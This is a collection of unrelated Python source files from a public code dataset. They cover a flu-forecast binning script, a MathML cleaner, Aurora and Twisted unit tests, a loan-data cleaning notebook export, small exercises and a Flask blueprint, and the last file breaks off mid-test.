+{"seq_id":"7281618225","text":"import math\nfrom scipy.stats import norm\nimport numpy as np\nimport argparse\n\nparser.add_argument('--sample_submission', type=str, default=\"/submissions/WEEK-CEID-2019.csv\",\n                    help=\"sample submission\")\n\nparser.add_argument('--weeks_ahead', type=int, default=1, choices=[1, 2, 3, 4], help=\"target week\")\n\nparser.add_argument('--location', type=str, default=\"HHS Region 1\",\n                    choices=[\"US National\", \"HHS Region 1\", \"HHS Region 2\", \"HHS Region 3\",\n                             \"HHS Region 4\", \"HHS Region 5\", \"HHS Region 6\", \"HHS Region 7\",\n                             \"HHS Region 8\", \"HHS Region 9\", \"HHS Region 10\"],\n                    help=\"location to forecast for\")\n\nargs = parser.parse_args()\nsample_submission = args.sample_submission\nweeks_ahead = weeks_ahead\nlocation = location\n\n# def four_week_ahead_bins(point, std_dev):\nnum_std_dev = 2\n\n\ndef point_and_bins(pred, num_std_dev, std_dev=0.3):\n    # pred = 2.06532243\n    x = np.linspace(pred - num_std_dev, pred + num_std_dev, 100)\n    rv = norm(pred, 0.3)\n\n    all_bins = np.arange(0, 13.1, 0.1)\n\n    # def four_week_bins():\n    bin_prob = [pred, rv.cdf(all_bins[0])]\n    for i in range(130):\n        bin_prob.append(rv.cdf(all_bins[i + 1]) - rv.cdf(all_bins[i]))\n\n    return bin_prob\n\n\nbin_prob = point_and_bins(1.07543445, 2)\n\nimport pandas as pd\nfull = pd.read_csv(sample_submission)\n\nfull[((full[\"Location\"]==location) & (full[\"Target\"]==str(weeks_ahead) +\" wk ahead\")) ][\"Value\"]=bin_prob","repo_name":"rutugandhi/Time-Series-Flu-Forecasting","sub_path":"pointsAndBins.py","file_name":"pointsAndBins.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21950761107","text":"\"\"\"\nCleanMathML.py runs over an input or file and \"cleans\" a .mml files so they are all structured the same\nA new file with the a .cml suffix is written\n\nUsage:\npython CleanMathML.py inputdir outputdir\n\nThe dirs can be a single file\n\"\"\"\n\n#import xml.dom.minidom as ET\nimport xml.etree.ElementTree as ET\n\nimport os\nimport sys\nimport getopt\n\n\ndef Usage():\n    print(__doc__)\n\ndef main():\n    if len(sys.argv) > 3:   \n        Usage()\n        sys.exit(0)\n\n    # parse command line options\n    inputdir = sys.argv[1]\n    if len(sys.argv)==3:\n        outputdir = sys.argv[2]\n\n    if os.path.isfile(inputdir):\n        cleanFile(inputdir, OutFileNameFromInputFileName(inputdir))\n        return\n\n    if not os.path.isdir(inputdir):\n        print(inputdir + ' does not exist.  Please enter the correct location of the input files to test.')\n    \n    if os.path.isfile(outputdir):\n        print(outputdir + ' is not a directory.  Please enter the correct location of the output files to write.')\n    cleanDir(inputdir,outputdir)\n\ndef cleanDir(inputdir,outputdir):\n    if not os.path.exists(outputdir):\n        os.makedirs(outputdir) \n\n    for infile in os.listdir(inputdir):\n        infileFullPath = inputdir + '/' + infile\n        outfileFullPath = outputdir + '/' + infile\n        if os.path.isdir(infileFullPath):\n            cleanDir(infileFullPath, outfileFullPath)\n\n        if infile.endswith(\".mml\"):\n            cleanFile(infileFullPath, OutFileNameFromInputFileName(outfileFullPath))\n\ndef cleanFile(fullInputFileName, fullOutputFileName):\n    with open(fullInputFileName, 'r',encoding='utf-8') as file :\n        fileData = file.read()\n\n    # strip any namespace prefixes\n    fileData = stripNameSpacePrefix(fileData)\n\n    # throw out content MathML\n    if '<apply>' in fileData or '<cn>' in fileData:\n        return \n\n    fileData = fileData.replace('&nbsp;', '&#160;')\n    root = ET.fromstring(fileData)\n    newElements = cleanElement(root, 'mrow')\n    if len(newElements)>1:\n        wrappedResult = ET.Element('mrow')\n        wrappedResult.extend(newElements)\n        newElements = [wrappedResult]\n        \n    if len(newElements) == 1:\n        ET.ElementTree(newElements[0]).write(fullOutputFileName, encoding='utf-8')\n    else:\n        print(\"Empty tree! Initial input is: \", fileData)\n    \ndef cleanElement(element, parentName):\n    tagName = element.tag\n    children=[]\n\n    # if this tag goes away, it doesn't act as the parent name\n    virtualParentName = tagName\n    if tagName=='mstyle' or tagName=='semantics' or tagName=='math':\n        virtualParentName = parentName\n    for child in element:\n        children.extend(cleanElement(child, virtualParentName))\n\n    # throw out some tags\n    if tagName=='mstyle' or tagName=='semantics' or tagName=='annotation' or tagName=='annotation-xml' or tagName=='math' or tagName=='mspace':\n        return children\n\n    # throw out mrows with just one child\n    if tagName=='mrow' and len(children)==1:\n        return children\n\n    # throw out nested mrows\n    if tagName=='mrow' and parentName=='mrow':\n        return children\n\n    newElement = ET.Element(tagName)\n    if len(children)==0:\n        newElement.text = element.text\n    else:\n        newElement.extend(children)\n    return [newElement]\n\ndef RemoveAllAttrs(element):\n#    while (element.attributes.length > 0):\n#        element.removeAttributeNode(element.attributes.item(0))\n     element.attrib = None\n        \ndef stripNameSpacePrefix(str):\n    if not ':' in str:\n        return str\n\n    iOpenBracket = str.find('<')\n    iColon = str.find(':', iOpenBracket)\n    prefix = str[iOpenBracket+1: iColon+1]  # e.g, 'm:'\n    \n    # although it is probably safe to just replace 'm:', we are more careful and only do it\n    # at the start of begin and end tags\n    return str.replace('<'+prefix, '<').replace('</'+prefix,'</')\n    \ndef OutFileNameFromInputFileName(fileName):\n    # assumes file name ends with .xxx\n    return fileName[0:-4] + '.xml'\n    \n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"tigarcia/TalkingCats","sub_path":"Scripts/CleanMathML.py","file_name":"CleanMathML.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"30123223291","text":"from .context import zaigen\n\ndef test_pension():\n\tg = zaigen.Graph()\n\n\tsalary_weight = zaigen.weights.Constant(100000)\n\tsalary_weight.schedule = zaigen.schedules.CompositeSchedule(\n\t\t\t\t\t\tzaigen.schedules.PiecewiseRate(5*[1.02] + 5*[1.01] + 10*[1]),\n\t\t\t\t\t\tzaigen.schedules.ConstantRate(1.02))\n\tzaigen.helpers.add_salary(g, 'j_salary', salary_weight)\n\tzaigen.helpers.add_pension(g, 'bob', 0.06, 'j_salary', 0.05, 0.02)\n","repo_name":"justinpinkney/zaigen","sub_path":"tests/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22668407302","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom mock import call, patch\n\nfrom apache.aurora.client.cli import EXIT_OK\nfrom apache.aurora.client.cli.client import AuroraCommandLine\n\nfrom .util import AuroraClientCommandTest, FakeAuroraCommandContext\n\n\nclass TestClientOpenCommand(AuroraClientCommandTest):\n\n  def test_open_cluster(self):\n    mock_context = FakeAuroraCommandContext()\n    with patch('apache.aurora.client.cli.jobs.Job.create_context', return_value=mock_context):\n      cmd = AuroraCommandLine()\n      result = cmd.execute(['job', 'open', 'west'])\n      assert self.mock_webbrowser.mock_calls == [call(\"http://something_or_other/scheduler\")]\n      assert result == EXIT_OK\n\n  def test_open_role(self):\n    mock_context = FakeAuroraCommandContext()\n    with patch('apache.aurora.client.cli.jobs.Job.create_context', return_value=mock_context):\n      cmd = AuroraCommandLine()\n      result = cmd.execute(['job', 'open', 'west/bozo'])\n      assert self.mock_webbrowser.mock_calls == [call(\"http://something_or_other/scheduler/bozo\")]\n      assert result == EXIT_OK\n\n  def test_open_env(self):\n    mock_context = FakeAuroraCommandContext()\n    with patch('apache.aurora.client.cli.jobs.Job.create_context', return_value=mock_context):\n      cmd = AuroraCommandLine()\n      result = cmd.execute(['job', 'open', 'west/bozo/devel'])\n      assert self.mock_webbrowser.mock_calls == [\n          call(\"http://something_or_other/scheduler/bozo/devel\")\n      ]\n      assert result == EXIT_OK\n\n  def test_open_job(self):\n    mock_context = FakeAuroraCommandContext()\n    with patch('apache.aurora.client.cli.jobs.Job.create_context', return_value=mock_context):\n      cmd = AuroraCommandLine()\n      result = cmd.execute(['job', 'open', 'west/bozo/devel/foo'])\n      assert self.mock_webbrowser.mock_calls == [\n          call(\"http://something_or_other/scheduler/bozo/devel/foo\")\n      ]\n      assert result == EXIT_OK\n\n  def test_open_noparam(self):\n    mock_context = FakeAuroraCommandContext()\n    with patch('apache.aurora.client.cli.jobs.Job.create_context', return_value=mock_context):\n      cmd = AuroraCommandLine()\n      self.assertRaises(SystemExit, cmd.execute, (['job', 'open']))\n      assert self.mock_webbrowser.mock_calls == []\n","repo_name":"apache/aurora","sub_path":"src/test/python/apache/aurora/client/cli/test_open.py","file_name":"test_open.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":630,"dataset":"github-code","pt":"3"}
+{"seq_id":"13410815340","text":"import csv\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D  \nfrom DataReader import *\n\ndef str2tuple(data, colonne):\n    return list(map(float,data[colonne])), list(map(float,data['isBB']))  #Take data from a chosen column of the file. Convert it in floats.\n\ndef sort(data, result):\n    bb=[]\n    nobb=[]\n    for i in range (0,len(data)):               #Fill a tuple with bbar particles, and another with no bbar particles\n        if result[i]==1:\n            bb.append(data[i])\n        else :\n            nobb.append(data[i])\n    return (bb, nobb)\n\ndef plot_dot(bb1,bb2,nobb1,nobb2, name1, name2):\n    plt.plot(nobb1,nobb2,'bo', markersize=2.2)\n    plt.plot(bb1,bb2,'ro', markersize=2.2)\n    plt.xlabel(name1)\n    plt.yscale('log', nonposy='clip')\n    plt.xscale('log')\n    plt.ylabel(name2)\n    plt.title('bb and nobb '+name1+' & '+name2+ ' from 50 000 to 69 999')\n    plt.show()\n\ndef main(data, name1, name2):                           #Put in data the return of csv2dict function from DataReader.py\n    A,B = str2tuple(data, name1)\n    C,D = str2tuple(data, name2)\n    bb1, nobb1 = sort(A,B)\n    bb2, nobb2 = sort(C,D)\n    plot_dots3D(bb1,bb2,nobb1,nobb2,name1,name2)\n","repo_name":"CorentinRmg/TIPP-PSA_Neural-Network","sub_path":"plot_dots.py","file_name":"plot_dots.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"37670470209","text":"\n# coding: utf-8\n\n# In[329]:\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().magic(u'matplotlib inline')\n\n\n# In[330]:\n\ndf = pd.read_csv('lending-club-loan-data/loan.csv', low_memory=False)\n\n\n# In[331]:\n\ndf.info()\n\n\n# In[396]:\n\npd.set_option('display.max_columns', None) \ndf_clean.head()\n\n\n# In[333]:\n\ndf_clean.info()\n\n\n# # Feature selection\n\n# ##### The focus of the project is to detect if a loan will be fully paid or charged off based on the information available at the moment the user is requesting the loan\n\n# In[334]:\n\ndf_clean = df[(df.loan_status == \"Fully Paid\") | (df.loan_status == \"Charged Off\")]\n\n\n# ##### Remove joint applications since are there are few instances of them in the dataset and in this way we can remove the set of features available only for joint applications\n\n# In[335]:\n\ndf.application_type.value_counts()\n\n\n# In[336]:\n\ndf_clean = df_clean[df.application_type == \"INDIVIDUAL\"]\ndf_clean = df_clean.drop(\"application_type\", axis=1)\n\n\n# In[337]:\n\ndf_clean = df_clean.drop(['annual_inc_joint', 'dti_joint', 'verification_status_joint'], axis = 1)\n\n\n# ##### Remove ID features\n\n# In[338]:\n\ndf_clean = df_clean.drop(['id'], axis = 1)\ndf_clean = df_clean.drop(['member_id'], axis = 1)\n\n\n# ##### Remove job title: non informative\n\n# In[339]:\n\ndf_clean = df_clean.drop(['emp_title'], axis = 1)\n\n\n# ##### Remove grade: Info already available in subgrade\n\n# In[340]:\n\ndf_clean = df_clean.drop(['grade'], axis = 1)\n\n\n# ##### Remove URL, description and title: Descriptive information not useful\n\n# In[341]:\n\ndf_clean = df_clean.drop(['url', 'desc', 'title'], axis = 1)\n\n\n# ##### Remove policy code, out_prncp and out_prncp_inv since they are all the same in the clean dataset\n\n# In[342]:\n\ndf_clean.policy_code.value_counts()\n\n\n# In[343]:\n\ndf_clean.out_prncp.value_counts()\n\n\n# In[344]:\n\ndf_clean.out_prncp_inv.value_counts()\n\n\n# In[345]:\n\ndf_clean = df_clean.drop(['policy_code', 'out_prncp', 'out_prncp_inv'], axis = 1)\n\n\n# ##### Remove features not strictly related to application details\n\n# In[346]:\n\ndf_clean = df_clean.drop(['total_pymnt', 'total_pymnt_inv'], axis = 1)\n\n\n# In[347]:\n\ndf_clean = df_clean.drop(['total_rec_prncp', 'total_rec_int', 'total_rec_late_fee'], axis = 1)\n\n\n# In[348]:\n\ndf_clean = df_clean.drop(['recoveries'], axis = 1)\n\n\n# In[349]:\n\ndf_clean = df_clean.drop([\n    'collection_recovery_fee',\n    'last_pymnt_d',\n    'last_pymnt_amnt',\n    'last_credit_pull_d',\n    'collections_12_mths_ex_med'\n], axis = 1)\n\n\n# In[350]:\n\ndf_clean = df_clean.drop(['acc_now_delinq'], axis = 1)\n\n\n# In[351]:\n\ndf_clean = df_clean.drop(['tot_cur_bal'], axis = 1)\n\n\n# ##### Remove features with too many missing entries and no reason to impute them\n\n# In[352]:\n\ndf_clean.next_pymnt_d.value_counts()\n\n\n# In[353]:\n\ndf_clean = df_clean.drop(['next_pymnt_d'], axis = 1)\n\n\n# In[354]:\n\ndf_clean = df_clean.drop([\n    'open_acc_6m',\n    'open_il_6m',\n    'open_il_12m',\n    'open_il_24m',\n    'mths_since_rcnt_il',\n    'total_bal_il',\n    'il_util',\n    'open_rv_12m',\n    'open_rv_24m',\n    'max_bal_bc',\n    'all_util',\n    'inq_fi',\n    'total_cu_tl',\n    'inq_last_12m',\n], axis = 1)\n\n\n# In[355]:\n\ndf_clean = df_clean.drop([\n    'tot_coll_amt',\n    'total_rev_hi_lim',\n], axis = 1)\n\n\n# ##### mths_since_last_major_derog: Months since most recent 90-day or worse rating\n# We assume that if the value is null, it means that no 90-day or worse ratings have ever been appointed to the applicant and so a reasonable high value is set.\n\n# In[356]:\n\ndf_clean.mths_since_last_major_derog.describe()\n\n\n# In[357]:\n\nfig, ax = plt.subplots()\nfig.set_size_inches(90.7, 8.27)\nsns.countplot(x='mths_since_last_major_derog', data=df_clean)\n\n\n# In[358]:\n\ndf_clean.mths_since_last_major_derog.head()\n\n\n# In[359]:\n\ndf_clean[\"mths_since_last_major_derog\"] = df_clean[\"mths_since_last_major_derog\"].apply(lambda x: 500.0 if pd.isnull(x) else x)\n\n\n# ##### mths_since_last_delinq: The number of months since the borrower's last delinquency.\n# We assume that if the value is null, it means that no delinquency has ever been appointed to the applicant and so a reasonable high value is set.\n\n# In[360]:\n\ndf_clean[\"mths_since_last_delinq\"] = df_clean[\"mths_since_last_delinq\"].apply(lambda x: 500.0 if pd.isnull(x) else x)\n\n\n# ##### mths_since_last_record: The number of months since the last public record.\n# We assume that if the value is null, it means that no public record has ever been appointed to the applicant and so a reasonable high value is set.\n\n# In[361]:\n\ndf_clean[\"mths_since_last_record\"] = df_clean[\"mths_since_last_record\"].apply(lambda x: 500.0 if pd.isnull(x) else x)\n\n\n# ##### Remove funded_amnt_inv\n# We're interested in funded_amnt\n\n# In[362]:\n\ndf_clean = df_clean.drop(['funded_amnt_inv'], axis = 1)\n\n\n# ##### Remove payment plan: not informative, only 2 entries with value different from the others\n# We're interested in funded_amnt\n\n# In[363]:\n\ndf_clean = df_clean.drop(['pymnt_plan'], axis = 1)\n\n\n# ##### Remove sub_grade\n# mapped to int_rate\n\n# In[364]:\n\ndf_clean = df_clean.drop(['sub_grade'], axis = 1)\n\n\n# ### Remove instances with missing values\n\n# In[365]:\n\ndf_clean = df_clean.dropna(subset = ['revol_util'])\n\n\n# ### Remove instances that differs between loan_amnt and funded_amnt to reduce noise\n\n# In[366]:\n\ndf_temp = df_clean[(df_clean.loan_amnt != df_clean.funded_amnt)]\n\n\n# In[367]:\n\ndf_temp[\"loan_status\"].value_counts()\n\n\n# In[368]:\n\ndf_clean.loan_status.value_counts()\n\n\n# In[369]:\n\ndf_clean = df_clean.drop(df_clean[df_clean.loan_amnt != df_clean.funded_amnt].index)\n\n\n# In[370]:\n\ndf_clean = df_clean.drop(['funded_amnt'], axis = 1)\n\n\n# # Data preparation\n\n# #### Remove \"months\" from term\n\n# In[371]:\n\ndf_clean[\"term\"] = df_clean[\"term\"].str.split(\" \").str[1]\ndf_clean[\"term\"] = df_clean[\"term\"].astype(float)\n\n\n# #### Managing issuing and credit history date\n# \n# **issue_d**: The date which the borrower accepted the offer\n# \n# **earliest_cr_line**: The date the borrower's earliest reported credit line was opened\n# \n# Delete this two feature and add a new one (last_first_credit_diff) which is the difference in number of months beteween the earliest reported credit line opened and the date in which the considered loan has been issued.\n\n# In[372]:\n\ndf_clean.issue_d.head()\n\n\n# In[373]:\n\ndf_clean.earliest_cr_line.head()\n\n\n# In[374]:\n\nm = {\n    \"Jan\": 1,\n    \"Feb\": 2,\n    \"Mar\": 3,\n    \"Apr\": 4,\n    \"May\": 5,\n    \"Jun\": 6,\n    \"Jul\": 7,\n    \"Aug\": 8,\n    \"Sep\": 9,\n    \"Oct\": 10,\n    \"Nov\": 11,\n    \"Dec\": 12,\n}\n\n\n# In[375]:\n\ndf_clean[\"earliest_cr_line\"] = df_clean[\"earliest_cr_line\"].apply(lambda x: m[x.split(\"-\")[0]] + int(x.split(\"-\")[1])*12)\ndf_clean[\"issue_d\"] = df_clean[\"issue_d\"].apply(lambda x: m[x.split(\"-\")[0]] + int(x.split(\"-\")[1])*12)\n\n\n# In[376]:\n\ndf_clean[\"last_first_credit_diff\"] = df_clean[\"issue_d\"] - df_clean[\"earliest_cr_line\"]\n\n\n# In[377]:\n\ndf_clean = df_clean.drop(['issue_d', 'earliest_cr_line'], axis = 1)\n\n\n# #### initial_list_status\n# categorized values\n\n# In[378]:\n\ndf_clean[\"initial_list_status\"] = df_clean[\"initial_list_status\"].astype('category')\ndf_clean[\"initial_list_status\"] = df_clean[\"initial_list_status\"].cat.codes\n\n\n# #### home_ownership\n# Remove unique instance with value ANY and categorized values\n\n# In[379]:\n\ndf_clean.home_ownership.value_counts()\n\n\n# In[380]:\n\ndf_clean = df_clean.drop(df_clean[df_clean.home_ownership == \"ANY\"].index)\n\n\n# In[381]:\n\ndf_clean.home_ownership.value_counts()\n\n\n# In[382]:\n\ndf_clean[\"home_ownership\"] = df_clean[\"home_ownership\"].astype('category')\ndf_clean[\"home_ownership\"] = df_clean[\"home_ownership\"].cat.codes\n\n\n# In[383]:\n\ndf_clean.home_ownership.value_counts()\n\n\n# #### verification_status\n# categorized values\n\n# In[384]:\n\ndf_clean[\"verification_status\"] = df_clean[\"verification_status\"].astype('category')\ndf_clean[\"verification_status\"] = df_clean[\"verification_status\"].cat.codes\n\n\n# #### purpose\n# categorized values\n\n# In[385]:\n\ndf_clean[\"purpose\"] = df_clean[\"purpose\"].astype('category')\ndf_clean[\"purpose\"] = df_clean[\"purpose\"].cat.codes\n\n\n# In[386]:\n\ndf_clean.purpose.value_counts()\n\n\n# #### emp_length\n\n# In[387]:\n\ndf_clean.emp_length.value_counts()\n\n\n# In[388]:\n\nemps = {\n    \"10+ years\": 15.0,\n    \"2 years\": 2.0,\n    \"< 1 year\": 0.5,\n    \"3 years\": 3.0,\n    \"5 years\": 5.0,\n    \"1 year\": 1.0,\n    \"4 years\": 4.0,\n    \"6 years\": 6.0,\n    \"7 years\": 7.0,\n    \"8 years\": 8.0,\n    \"n/a\": 0.0,\n    \"9 years\": 9.0,\n}\n\n\n# In[389]:\n\ndf_clean[\"emp_length\"] = df_clean[\"emp_length\"].apply(lambda x: emps[x])\n\n\n# #### Geographical deatures\n# Considered only first two digits of the zipcode\n# \n# Categorized addr_state\n\n# In[390]:\n\ndf_clean[\"zip_code\"].describe()\n\n\n# In[391]:\n\ndf_clean[\"zip_code\"] = df_clean[\"zip_code\"].apply(lambda x: int(x[:2]))\n\n\n# In[392]:\n\ndf_clean[\"addr_state\"].describe()\n\n\n# In[393]:\n\ndf_clean[\"addr_state\"] = df_clean[\"addr_state\"].astype('category')\ndf_clean[\"addr_state\"] = df_clean[\"addr_state\"].cat.codes\n\n\n# #### Categorized label\n# fully paid = 0, charged off = 1\n\n# In[394]:\n\ndf_clean[\"loan_status\"] = df_clean[\"loan_status\"].apply(lambda x: 0 if x == \"Fully Paid\" else 1)\n\n\n# In[395]:\n\ndf_clean[\"loan_status\"].value_counts()\n\n\n# # Export\n\n# In[397]:\n\ndf_clean.to_csv(\"loan_clean.csv\", sep=',')\n","repo_name":"marcomiglionico94/CS-412-Final-Project","sub_path":"cs412-2017-project-master/code/data-exploration.py","file_name":"data-exploration.py","file_ext":"py","file_size_in_byte":9234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6725805040","text":"from math import sqrt\n \n \nclass MathCalc:\n    def call(self, x):\n        return x\n \n \nclass Sqrt:\n    def call(self, x):\n        return sqrt(x)\n \n \nclass Const:\n    def __init__(self, value):\n        self.value = value\n \n    def call(self, x):\n        return self.value\n \n \nclass Expression:\n    def __init__(self, f1, op, f2):\n        self.f1 = f1\n        self.f2 = f2\n        self.op = op\n \n    def call(self, x):\n        a = self.f1.call(x)\n        b = self.f2.call(x)\n        if self.op == '+':\n            return a + b\n        if self.op == '-':\n            return a - b\n        if self.op == '/':\n            return a / b\n        if self.op == '*':\n            return a * b\n \n \ndef main():\n    func = {'x': MathCalc(), 'sqrt': Sqrt()}\n    n = int(input())\n    for _ in range(n):\n        command, *args = input().split()\n        if command == 'define':\n            name, f1, op, f2 = args\n            if f1.isdigit() or (f1[0] == '-' and f1[1:].isdigit()):\n                f1 = Const(int(f1))\n            else:\n                f1 = func[f1]\n            if f2.isdigit() or (f2[0] == '-' and f2[1:].isdigit()):\n                f2 = Const(int(f2))\n            else:\n                f2 = func[f2]\n            func[name] = Expression(f1, op, f2)\n        elif command == 'calculate':\n            name, *x_values = args\n            print(' '.join(str(func[name].call(int(x))) for x in x_values))\n \n \nif __name__ == '__main__':\n    main()","repo_name":"MrKiller941/Programming","sub_path":"Python/Lab7/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35388424692","text":"#! /usr/bin/env python3\n\nimport sys\n\n\ndef get_power(file_name) -> int:\n    lines = []\n    with open(file_name, 'r') as f:\n        lines = [line.rstrip() for line in f.readlines()]\n\n    columns = len(lines[0])\n    col_sums = []\n    for _ in range(columns):\n        col_sums.append(0)\n\n    for line in lines:\n        for i, c in enumerate(line):\n            col_sums[i] += int(c)\n\n    gamma = ''\n    epsilon = ''\n    for i, s in enumerate(col_sums):\n        if s > len(lines)/2:\n            gamma += '1'\n            epsilon += '0'\n        elif s < len(lines)/2:\n            gamma += '0'\n            epsilon += '1'\n        else:\n            print('Both bit vals are equally common in column %d' % i)\n            return 0\n\n    return int(gamma, base=2) * int(epsilon, base=2)\n\n\nif __name__ == '__main__':\n    if len(sys.argv) != 2:\n        print('Usage: %s <input_file>' % sys.argv[0])\n        exit(1)\n\n    print(get_power(sys.argv[1]))\n","repo_name":"samjazaaa/AoC","sub_path":"2021/03/challenge_03_01.py","file_name":"challenge_03_01.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8218214191","text":"#!/usr/bin/python3\n\nwhile True:\n    \n    try:\n        num = int(input('Enter a number'))\n        print(f'You have entered {num}')\n        \n\n        break\n    except ValueError:\n        print('Oops! That was an invalid number, please try again')\n    \n","repo_name":"nguredavid/learnpython","sub_path":"Exceptions/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28855087188","text":"from flask import render_template, Blueprint, abort\nfrom jinja2 import TemplateNotFound\n\ncontent = Blueprint(\"content\", __name__,\n                    template_folder=\"templates\", static_folder=\"static\")\n\n\n@content.route('/', defaults={'page': 'index'})\n@content.route('/<page>')\ndef show(page):\n    try:\n        return render_template('%s.html' % page)\n    except TemplateNotFound:\n        abort(404)\n","repo_name":"ThomasAnnamNJIT/is601-project-one","sub_path":"app/content/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31298656453","text":"from __future__ import division, absolute_import\n\nfrom functools import wraps\n\nfrom zope.interface import Interface, implementer, Attribute\nfrom zope.interface.adapter import AdapterRegistry\n\nfrom twisted.python.compat import comparable, cmp\nfrom twisted.trial import unittest\nfrom twisted.python import components\nfrom twisted.python.components import _addHook, _removeHook, proxyForInterface\n\n\nclass Compo(components.Componentized):\n    num = 0\n    def inc(self):\n        self.num = self.num + 1\n        return self.num\n\nclass IAdept(Interface):\n    def adaptorFunc():\n        raise NotImplementedError()\n\nclass IElapsed(Interface):\n    def elapsedFunc():\n        \"\"\"\n        1!\n        \"\"\"\n\n@implementer(IAdept)\nclass Adept(components.Adapter):\n    def __init__(self, orig):\n        self.original = orig\n        self.num = 0\n    def adaptorFunc(self):\n        self.num = self.num + 1\n        return self.num, self.original.inc()\n\n@implementer(IElapsed)\nclass Elapsed(components.Adapter):\n    def elapsedFunc(self):\n        return 1\n\nclass AComp(components.Componentized):\n    pass\nclass BComp(AComp):\n    pass\nclass CComp(BComp):\n    pass\n\nclass ITest(Interface):\n    pass\n\n\nclass ITest2(Interface):\n    pass\n\n\nclass ITest3(Interface):\n    pass\n\n\nclass ITest4(Interface):\n    pass\n\n\n@implementer(ITest, ITest3, ITest4)\nclass Test(components.Adapter):\n    def __init__(self, orig):\n        pass\n\n\n@implementer(ITest2)\nclass Test2(object):\n    temporaryAdapter = 1\n    def __init__(self, orig):\n        pass\n\n\n\nclass RegistryUsingMixin(object):\n    \"\"\"\n    Mixin for test cases which modify the global registry somehow.\n    \"\"\"\n    def setUp(self):\n        \"\"\"\n        Configure L{twisted.python.components.registerAdapter} to mutate an\n        alternate registry to improve test isolation.\n        \"\"\"\n        # Create a brand new, empty registry and put it onto the components\n        # module where registerAdapter will use it.  Also ensure that it goes\n        # away at the end of the test.\n        scratchRegistry = AdapterRegistry()\n        self.patch(components, 'globalRegistry', scratchRegistry)\n        # Hook the new registry up to the adapter lookup system and ensure that\n        # association is also discarded after the test.\n        hook = _addHook(scratchRegistry)\n        self.addCleanup(_removeHook, hook)\n\n\n\nclass ComponentizedTests(unittest.SynchronousTestCase, RegistryUsingMixin):\n    \"\"\"\n    Simple test case for caching in Componentized.\n    \"\"\"\n    def setUp(self):\n        RegistryUsingMixin.setUp(self)\n\n        components.registerAdapter(Test, AComp, ITest)\n        components.registerAdapter(Test, AComp, ITest3)\n        components.registerAdapter(Test2, AComp, ITest2)\n\n\n    def testComponentized(self):\n        components.registerAdapter(Adept, Compo, IAdept)\n        components.registerAdapter(Elapsed, Compo, IElapsed)\n\n        c = Compo()\n        assert c.getComponent(IAdept).adaptorFunc() == (1, 1)\n        assert c.getComponent(IAdept).adaptorFunc() == (2, 2)\n        assert IElapsed(IAdept(c)).elapsedFunc() == 1\n\n    def testInheritanceAdaptation(self):\n        c = CComp()\n        co1 = c.getComponent(ITest)\n        co2 = c.getComponent(ITest)\n        co3 = c.getComponent(ITest2)\n        co4 = c.getComponent(ITest2)\n        assert co1 is co2\n        assert co3 is not co4\n        c.removeComponent(co1)\n        co5 = c.getComponent(ITest)\n        co6 = c.getComponent(ITest)\n        assert co5 is co6\n        assert co1 is not co5\n\n    def testMultiAdapter(self):\n        c = CComp()\n        co1 = c.getComponent(ITest)\n        co3 = c.getComponent(ITest3)\n        co4 = c.getComponent(ITest4)\n        self.assertIsNone(co4)\n        self.assertIs(co1, co3)\n\n\n    def test_getComponentDefaults(self):\n        \"\"\"\n        Test that a default value specified to Componentized.getComponent if\n        there is no component for the requested interface.\n        \"\"\"\n        componentized = components.Componentized()\n        default = object()\n        self.assertIs(\n            componentized.getComponent(ITest, default),\n            default)\n        self.assertIs(\n            componentized.getComponent(ITest, default=default),\n            default)\n        self.assertIs(\n            componentized.getComponent(ITest),\n            None)\n\n\n    def test_setAdapter(self):\n        \"\"\"\n        C{Componentized.setAdapter} sets a component for an interface by\n        wrapping the instance with the given adapter class.\n        \"\"\"\n        componentized = components.Componentized()\n        componentized.setAdapter(IAdept, Adept)\n        component = componentized.getComponent(IAdept)\n        self.assertEqual(component.original, componentized)\n        self.assertIsInstance(component, Adept)\n\n\n    def test_addAdapter(self):\n        \"\"\"\n        C{Componentized.setAdapter} adapts the instance by wrapping it with\n        given adapter class, then stores it using C{addComponent}.\n        \"\"\"\n        componentized = components.Componentized()\n        componentized.addAdapter(Adept, ignoreClass=True)\n        component = componentized.getComponent(IAdept)\n        self.assertEqual(component.original, componentized)\n        self.assertIsInstance(component, Adept)\n\n\n    def test_setComponent(self):\n        \"\"\"\n        C{Componentized.setComponent} stores the given component using the\n        given interface as the key.\n        \"\"\"\n        componentized = components.Componentized()\n        obj = object()\n        componentized.setComponent(ITest, obj)\n        